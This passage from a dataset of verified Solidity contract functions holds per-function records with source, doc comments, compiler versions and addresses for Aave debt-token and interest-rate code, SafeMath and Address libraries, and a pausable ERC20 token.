/** * @title Aave AToken enabled to delegate voting power of the underlying asset to a different address * @dev The underlying asset needs to be compatible with the COMP delegation interface * @author Aave */
NatSpecMultiLine
delegateUnderlyingTo
function delegateUnderlyingTo(address delegatee) external onlyPoolAdmin { IDelegationToken(UNDERLYING_ASSET_ADDRESS).delegate(delegatee); }
/** * @dev Delegates voting power of the underlying asset to a `delegatee` address * @param delegatee The address that will receive the delegation **/
NatSpecMultiLine
v0.6.12+commit.27d51765
{ "func_code_index": [ 742, 889 ] }
22,632
nieripeso
nieripeso.sol
0xb283c173181c2ecffe3d88824c718163c035c6f3
Solidity
Context
contract Context { constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } }
_msgSender
function _msgSender() internal view returns (address payable) { return msg.sender; }
// solhint-disable-previous-line no-empty-blocks
LineComment
v0.5.17+commit.d19bba13
None
bzzr://218ffdcd86f17ca32c8fffa55368c4dadbc36feac4d7a416ba0f9fe7c71eacda
{ "func_code_index": [ 109, 212 ] }
22,633
WMCToken
WMCToken.sol
0x93a4554827caf217be7d9e254f27d3275bcd6a3f
Solidity
BasicToken
contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) pub...
/** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */
NatSpecMultiLine
transfer
function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); T...
/** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */
NatSpecMultiLine
v0.4.18+commit.9cf6e910
bzzr://272aee65f161075c5817a5ef7d71ceeeed792038cbc532b0eb27632ea0e180e3
{ "func_code_index": [ 268, 659 ] }
22,634
WMCToken
WMCToken.sol
0x93a4554827caf217be7d9e254f27d3275bcd6a3f
Solidity
BasicToken
contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) pub...
/** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */
NatSpecMultiLine
balanceOf
function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; }
/** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */
NatSpecMultiLine
v0.4.18+commit.9cf6e910
bzzr://272aee65f161075c5817a5ef7d71ceeeed792038cbc532b0eb27632ea0e180e3
{ "func_code_index": [ 865, 977 ] }
22,635
WMCToken
WMCToken.sol
0x93a4554827caf217be7d9e254f27d3275bcd6a3f
Solidity
StandardToken
contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transf...
/** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */
NatSpecMultiLine
transferFrom
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_...
/** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */
NatSpecMultiLine
v0.4.18+commit.9cf6e910
bzzr://272aee65f161075c5817a5ef7d71ceeeed792038cbc532b0eb27632ea0e180e3
{ "func_code_index": [ 401, 853 ] }
22,636
WMCToken
WMCToken.sol
0x93a4554827caf217be7d9e254f27d3275bcd6a3f
Solidity
StandardToken
contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transf...
/** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */
NatSpecMultiLine
approve
function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; }
/** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * ...
NatSpecMultiLine
v0.4.18+commit.9cf6e910
bzzr://272aee65f161075c5817a5ef7d71ceeeed792038cbc532b0eb27632ea0e180e3
{ "func_code_index": [ 1485, 1675 ] }
22,637
WMCToken
WMCToken.sol
0x93a4554827caf217be7d9e254f27d3275bcd6a3f
Solidity
StandardToken
contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transf...
/** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */
NatSpecMultiLine
allowance
function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; }
/** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */
NatSpecMultiLine
v0.4.18+commit.9cf6e910
bzzr://272aee65f161075c5817a5ef7d71ceeeed792038cbc532b0eb27632ea0e180e3
{ "func_code_index": [ 1999, 2130 ] }
22,638
WMCToken
WMCToken.sol
0x93a4554827caf217be7d9e254f27d3275bcd6a3f
Solidity
StandardToken
contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transf...
/** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */
NatSpecMultiLine
increaseApproval
function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; }
/** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */
NatSpecMultiLine
v0.4.18+commit.9cf6e910
bzzr://272aee65f161075c5817a5ef7d71ceeeed792038cbc532b0eb27632ea0e180e3
{ "func_code_index": [ 2375, 2639 ] }
22,639
WMCToken
WMCToken.sol
0x93a4554827caf217be7d9e254f27d3275bcd6a3f
Solidity
Ownable
contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; }...
/** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */
NatSpecMultiLine
Ownable
function Ownable() public { owner = msg.sender; }
/** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */
NatSpecMultiLine
v0.4.18+commit.9cf6e910
bzzr://272aee65f161075c5817a5ef7d71ceeeed792038cbc532b0eb27632ea0e180e3
{ "func_code_index": [ 261, 321 ] }
22,640
WMCToken
WMCToken.sol
0x93a4554827caf217be7d9e254f27d3275bcd6a3f
Solidity
Ownable
contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; }...
/** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */
NatSpecMultiLine
transferOwnership
function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; }
/** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */
NatSpecMultiLine
v0.4.18+commit.9cf6e910
bzzr://272aee65f161075c5817a5ef7d71ceeeed792038cbc532b0eb27632ea0e180e3
{ "func_code_index": [ 644, 820 ] }
22,641
WMCToken
WMCToken.sol
0x93a4554827caf217be7d9e254f27d3275bcd6a3f
Solidity
Pausable
contract Pausable is Ownable { event PausePublic(bool newState); event PauseOwnerAdmin(bool newState); bool public pausedPublic = true; bool public pausedOwnerAdmin = false; address public admin; /** * @dev Modifier to make a function callable based on pause states. */ modifier whenNo...
/** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */
NatSpecMultiLine
pause
function pause(bool newPausedPublic, bool newPausedOwnerAdmin) onlyOwner public { require(!(newPausedPublic == false && newPausedOwnerAdmin == true)); pausedPublic = newPausedPublic; pausedOwnerAdmin = newPausedOwnerAdmin; PausePublic(newPausedPublic); PauseOwnerAdmin(newPausedOwnerAdmin); }
/** * @dev called by the owner to set new pause flags * pausedPublic can't be false while pausedOwnerAdmin is true */
NatSpecMultiLine
v0.4.18+commit.9cf6e910
bzzr://272aee65f161075c5817a5ef7d71ceeeed792038cbc532b0eb27632ea0e180e3
{ "func_code_index": [ 649, 976 ] }
22,642
WMCToken
WMCToken.sol
0x93a4554827caf217be7d9e254f27d3275bcd6a3f
Solidity
WMCToken
contract WMCToken is PausableToken { string public constant name = "WMCToken"; string public constant symbol = "WMCT"; uint8 public constant decimals = 18; modifier validDestination( address to ) { require(to != address(0x0)); require(to != address(this)); _;...
burnFrom
function burnFrom(address _from, uint256 _value) returns (bool) { assert( transferFrom( _from, msg.sender, _value ) ); return burn(_value); }
// save some gas by making only one contract call
LineComment
v0.4.18+commit.9cf6e910
bzzr://272aee65f161075c5817a5ef7d71ceeeed792038cbc532b0eb27632ea0e180e3
{ "func_code_index": [ 1407, 1582 ] }
22,643
LendingPool
contracts/protocol/tokenization/VariableDebtToken.sol
0xc6845a5c768bf8d7681249f8927877efda425baf
Solidity
VariableDebtToken
contract VariableDebtToken is DebtTokenBase, IVariableDebtToken { using WadRayMath for uint256; uint256 public constant DEBT_TOKEN_REVISION = 0x1; constructor( address pool, address underlyingAsset, string memory name, string memory symbol, address incentivesController ) public DebtTokenBa...
/** * @title VariableDebtToken * @notice Implements a variable debt token to track the borrowing positions of users * at variable rate mode * @author Aave **/
NatSpecMultiLine
getRevision
function getRevision() internal pure virtual override returns (uint256) { return DEBT_TOKEN_REVISION; }
/** * @dev Gets the revision of the stable debt token implementation * @return The debt token implementation revision **/
NatSpecMultiLine
v0.6.12+commit.27d51765
{ "func_code_index": [ 519, 630 ] }
22,644
LendingPool
contracts/protocol/tokenization/VariableDebtToken.sol
0xc6845a5c768bf8d7681249f8927877efda425baf
Solidity
VariableDebtToken
contract VariableDebtToken is DebtTokenBase, IVariableDebtToken { using WadRayMath for uint256; uint256 public constant DEBT_TOKEN_REVISION = 0x1; constructor( address pool, address underlyingAsset, string memory name, string memory symbol, address incentivesController ) public DebtTokenBa...
/** * @title VariableDebtToken * @notice Implements a variable debt token to track the borrowing positions of users * at variable rate mode * @author Aave **/
NatSpecMultiLine
balanceOf
function balanceOf(address user) public view virtual override returns (uint256) { uint256 scaledBalance = super.balanceOf(user); if (scaledBalance == 0) { return 0; } return scaledBalance.rayMul(POOL.getReserveNormalizedVariableDebt(UNDERLYING_ASSET_ADDRESS)); }
/** * @dev Calculates the accumulated debt balance of the user * @return The debt balance of the user **/
NatSpecMultiLine
v0.6.12+commit.27d51765
{ "func_code_index": [ 749, 1039 ] }
22,645
LendingPool
contracts/protocol/tokenization/VariableDebtToken.sol
0xc6845a5c768bf8d7681249f8927877efda425baf
Solidity
VariableDebtToken
contract VariableDebtToken is DebtTokenBase, IVariableDebtToken { using WadRayMath for uint256; uint256 public constant DEBT_TOKEN_REVISION = 0x1; constructor( address pool, address underlyingAsset, string memory name, string memory symbol, address incentivesController ) public DebtTokenBa...
/** * @title VariableDebtToken * @notice Implements a variable debt token to track the borrowing positions of users * at variable rate mode * @author Aave **/
NatSpecMultiLine
mint
function mint( address user, address onBehalfOf, uint256 amount, uint256 index ) external override onlyLendingPool returns (bool) { if (user != onBehalfOf) { _decreaseBorrowAllowance(onBehalfOf, user, amount); } uint256 previousBalance = super.balanceOf(onBehalfOf); uint256 amountScaled = amount.ra...
/** * @dev Mints debt token to the `onBehalfOf` address * - Only callable by the LendingPool * @param user The address receiving the borrowed underlying, being the delegatee in case * of credit delegate, or same as `onBehalfOf` otherwise * @param onBehalfOf The address receiving the debt tokens * @param amount T...
NatSpecMultiLine
v0.6.12+commit.27d51765
{ "func_code_index": [ 1535, 2128 ] }
22,646
LendingPool
contracts/protocol/tokenization/VariableDebtToken.sol
0xc6845a5c768bf8d7681249f8927877efda425baf
Solidity
VariableDebtToken
contract VariableDebtToken is DebtTokenBase, IVariableDebtToken { using WadRayMath for uint256; uint256 public constant DEBT_TOKEN_REVISION = 0x1; constructor( address pool, address underlyingAsset, string memory name, string memory symbol, address incentivesController ) public DebtTokenBa...
/** * @title VariableDebtToken * @notice Implements a variable debt token to track the borrowing positions of users * at variable rate mode * @author Aave **/
NatSpecMultiLine
burn
function burn( address user, uint256 amount, uint256 index ) external override onlyLendingPool { uint256 amountScaled = amount.rayDiv(index); require(amountScaled != 0, Errors.CT_INVALID_BURN_AMOUNT); _burn(user, amountScaled); emit Transfer(user, address(0), amount); emit Burn(user, amount, index); }...
/** * @dev Burns user variable debt * - Only callable by the LendingPool * @param user The user whose debt is getting burned * @param amount The amount getting burned * @param index The variable debt index of the reserve **/
NatSpecMultiLine
v0.6.12+commit.27d51765
{ "func_code_index": [ 2375, 2717 ] }
22,647
LendingPool
contracts/protocol/tokenization/VariableDebtToken.sol
0xc6845a5c768bf8d7681249f8927877efda425baf
Solidity
VariableDebtToken
contract VariableDebtToken is DebtTokenBase, IVariableDebtToken { using WadRayMath for uint256; uint256 public constant DEBT_TOKEN_REVISION = 0x1; constructor( address pool, address underlyingAsset, string memory name, string memory symbol, address incentivesController ) public DebtTokenBa...
/** * @title VariableDebtToken * @notice Implements a variable debt token to track the borrowing positions of users * at variable rate mode * @author Aave **/
NatSpecMultiLine
scaledBalanceOf
function scaledBalanceOf(address user) public view virtual override returns (uint256) { return super.balanceOf(user); }
/** * @dev Returns the principal debt balance of the user from * @return The debt balance of the user since the last burn/mint action **/
NatSpecMultiLine
v0.6.12+commit.27d51765
{ "func_code_index": [ 2868, 2995 ] }
22,648
LendingPool
contracts/protocol/tokenization/VariableDebtToken.sol
0xc6845a5c768bf8d7681249f8927877efda425baf
Solidity
VariableDebtToken
contract VariableDebtToken is DebtTokenBase, IVariableDebtToken { using WadRayMath for uint256; uint256 public constant DEBT_TOKEN_REVISION = 0x1; constructor( address pool, address underlyingAsset, string memory name, string memory symbol, address incentivesController ) public DebtTokenBa...
/** * @title VariableDebtToken * @notice Implements a variable debt token to track the borrowing positions of users * at variable rate mode * @author Aave **/
NatSpecMultiLine
totalSupply
function totalSupply() public view virtual override returns (uint256) { return super.totalSupply().rayMul(POOL.getReserveNormalizedVariableDebt(UNDERLYING_ASSET_ADDRESS)); }
/** * @dev Returns the total supply of the variable debt token. Represents the total debt accrued by the users * @return The total supply **/
NatSpecMultiLine
v0.6.12+commit.27d51765
{ "func_code_index": [ 3150, 3337 ] }
22,649
LendingPool
contracts/protocol/tokenization/VariableDebtToken.sol
0xc6845a5c768bf8d7681249f8927877efda425baf
Solidity
VariableDebtToken
contract VariableDebtToken is DebtTokenBase, IVariableDebtToken { using WadRayMath for uint256; uint256 public constant DEBT_TOKEN_REVISION = 0x1; constructor( address pool, address underlyingAsset, string memory name, string memory symbol, address incentivesController ) public DebtTokenBa...
/** * @title VariableDebtToken * @notice Implements a variable debt token to track the borrowing positions of users * at variable rate mode * @author Aave **/
NatSpecMultiLine
scaledTotalSupply
function scaledTotalSupply() public view virtual override returns (uint256) { return super.totalSupply(); }
/** * @dev Returns the scaled total supply of the variable debt token. Represents sum(debt/index) * @return the scaled total supply **/
NatSpecMultiLine
v0.6.12+commit.27d51765
{ "func_code_index": [ 3486, 3601 ] }
22,650
LendingPool
contracts/protocol/tokenization/VariableDebtToken.sol
0xc6845a5c768bf8d7681249f8927877efda425baf
Solidity
VariableDebtToken
contract VariableDebtToken is DebtTokenBase, IVariableDebtToken { using WadRayMath for uint256; uint256 public constant DEBT_TOKEN_REVISION = 0x1; constructor( address pool, address underlyingAsset, string memory name, string memory symbol, address incentivesController ) public DebtTokenBa...
/** * @title VariableDebtToken * @notice Implements a variable debt token to track the borrowing positions of users * at variable rate mode * @author Aave **/
NatSpecMultiLine
getScaledUserBalanceAndSupply
function getScaledUserBalanceAndSupply(address user) external view override returns (uint256, uint256) { return (super.balanceOf(user), super.totalSupply()); }
/** * @dev Returns the principal balance of the user and principal total supply. * @param user The address of the user * @return The principal balance of the user * @return The principal total supply **/
NatSpecMultiLine
v0.6.12+commit.27d51765
{ "func_code_index": [ 3824, 4009 ] }
22,651
LendingPool
contracts/protocol/lendingpool/DefaultReserveInterestRateStrategy.sol
0xc6845a5c768bf8d7681249f8927877efda425baf
Solidity
DefaultReserveInterestRateStrategy
contract DefaultReserveInterestRateStrategy is IReserveInterestRateStrategy { using WadRayMath for uint256; using SafeMath for uint256; using PercentageMath for uint256; /** * @dev this constant represents the utilization rate at which the pool aims to obtain most competitive borrow rates. * Expressed in...
/** * @title DefaultReserveInterestRateStrategy contract * @notice Implements the calculation of the interest rates depending on the reserve state * @dev The model of interest rate is based on 2 slopes, one before the `OPTIMAL_UTILIZATION_RATE` * point of utilization and another from that one to 100% * - An instan...
NatSpecMultiLine
calculateInterestRates
function calculateInterestRates( address reserve, uint256 availableLiquidity, uint256 totalStableDebt, uint256 totalVariableDebt, uint256 averageStableBorrowRate, uint256 reserveFactor ) external view override returns ( uint256, uint256, uint256 ) { CalcInterestRatesLocalVars memory ...
/** * @dev Calculates the interest rates depending on the reserve's state and configurations * @param reserve The address of the reserve * @param availableLiquidity The liquidity available in the reserve * @param totalStableDebt The total borrowed from the reserve a stable rate * @param totalVariableDebt The total...
NatSpecMultiLine
v0.6.12+commit.27d51765
{ "func_code_index": [ 3734, 5827 ] }
22,652
LendingPool
contracts/protocol/lendingpool/DefaultReserveInterestRateStrategy.sol
0xc6845a5c768bf8d7681249f8927877efda425baf
Solidity
DefaultReserveInterestRateStrategy
contract DefaultReserveInterestRateStrategy is IReserveInterestRateStrategy { using WadRayMath for uint256; using SafeMath for uint256; using PercentageMath for uint256; /** * @dev this constant represents the utilization rate at which the pool aims to obtain most competitive borrow rates. * Expressed in...
/** * @title DefaultReserveInterestRateStrategy contract * @notice Implements the calculation of the interest rates depending on the reserve state * @dev The model of interest rate is based on 2 slopes, one before the `OPTIMAL_UTILIZATION_RATE` * point of utilization and another from that one to 100% * - An instan...
NatSpecMultiLine
_getOverallBorrowRate
function _getOverallBorrowRate( uint256 totalStableDebt, uint256 totalVariableDebt, uint256 currentVariableBorrowRate, uint256 currentAverageStableBorrowRate ) internal pure returns (uint256) { uint256 totalDebt = totalStableDebt.add(totalVariableDebt); if (totalDebt == 0) return 0; uint256 weightedVari...
/** * @dev Calculates the overall borrow rate as the weighted average between the total variable debt and total stable debt * @param totalStableDebt The total borrowed from the reserve a stable rate * @param totalVariableDebt The total borrowed from the reserve at a variable rate * @param currentVariableBorrowRate ...
NatSpecMultiLine
v0.6.12+commit.27d51765
{ "func_code_index": [ 6362, 7024 ] }
22,653
VentToken
VentToken.sol
0xec62dbd2b4799beef76789981b8857d986d90e1b
Solidity
SafeMath
library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256...
/** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming la...
NatSpecMultiLine
add
function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; }
/** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://3648f8e0af272569cf437c08f03e4a5593b231c474dfd49a35e844385cba63a6
{ "func_code_index": [ 251, 437 ] }
22,654
VentToken
VentToken.sol
0xec62dbd2b4799beef76789981b8857d986d90e1b
Solidity
SafeMath
library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256...
/** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming la...
NatSpecMultiLine
sub
function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); }
/** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://3648f8e0af272569cf437c08f03e4a5593b231c474dfd49a35e844385cba63a6
{ "func_code_index": [ 707, 848 ] }
22,655
VentToken
VentToken.sol
0xec62dbd2b4799beef76789981b8857d986d90e1b
Solidity
SafeMath
library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256...
/** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming la...
NatSpecMultiLine
sub
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; }
/** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://3648f8e0af272569cf437c08f03e4a5593b231c474dfd49a35e844385cba63a6
{ "func_code_index": [ 1180, 1377 ] }
22,656
VentToken
VentToken.sol
0xec62dbd2b4799beef76789981b8857d986d90e1b
Solidity
SafeMath
library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256...
/** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming la...
NatSpecMultiLine
mul
function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; ...
/** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://3648f8e0af272569cf437c08f03e4a5593b231c474dfd49a35e844385cba63a6
{ "func_code_index": [ 1623, 2099 ] }
22,657
VentToken
VentToken.sol
0xec62dbd2b4799beef76789981b8857d986d90e1b
Solidity
SafeMath
library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256...
/** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming la...
NatSpecMultiLine
div
function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); }
/** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to reve...
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://3648f8e0af272569cf437c08f03e4a5593b231c474dfd49a35e844385cba63a6
{ "func_code_index": [ 2562, 2699 ] }
22,658
VentToken
VentToken.sol
0xec62dbd2b4799beef76789981b8857d986d90e1b
Solidity
SafeMath
library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256...
/** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming la...
NatSpecMultiLine
div
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; ...
/** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an in...
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://3648f8e0af272569cf437c08f03e4a5593b231c474dfd49a35e844385cba63a6
{ "func_code_index": [ 3224, 3574 ] }
22,659
VentToken
VentToken.sol
0xec62dbd2b4799beef76789981b8857d986d90e1b
Solidity
SafeMath
library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256...
/** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming la...
NatSpecMultiLine
mod
function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); }
/** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consumi...
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://3648f8e0af272569cf437c08f03e4a5593b231c474dfd49a35e844385cba63a6
{ "func_code_index": [ 4026, 4161 ] }
22,660
VentToken
VentToken.sol
0xec62dbd2b4799beef76789981b8857d986d90e1b
Solidity
SafeMath
library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256...
/** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming la...
NatSpecMultiLine
mod
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; }
/** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcod...
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://3648f8e0af272569cf437c08f03e4a5593b231c474dfd49a35e844385cba63a6
{ "func_code_index": [ 4675, 4846 ] }
22,661
VentToken
VentToken.sol
0xec62dbd2b4799beef76789981b8857d986d90e1b
Solidity
Address
library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will ...
/** * @dev Collection of functions related to the address type */
NatSpecMultiLine
isContract
function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codeha...
/** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: ...
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://3648f8e0af272569cf437c08f03e4a5593b231c474dfd49a35e844385cba63a6
{ "func_code_index": [ 606, 1230 ] }
22,662
VentToken
VentToken.sol
0xec62dbd2b4799beef76789981b8857d986d90e1b
Solidity
Address
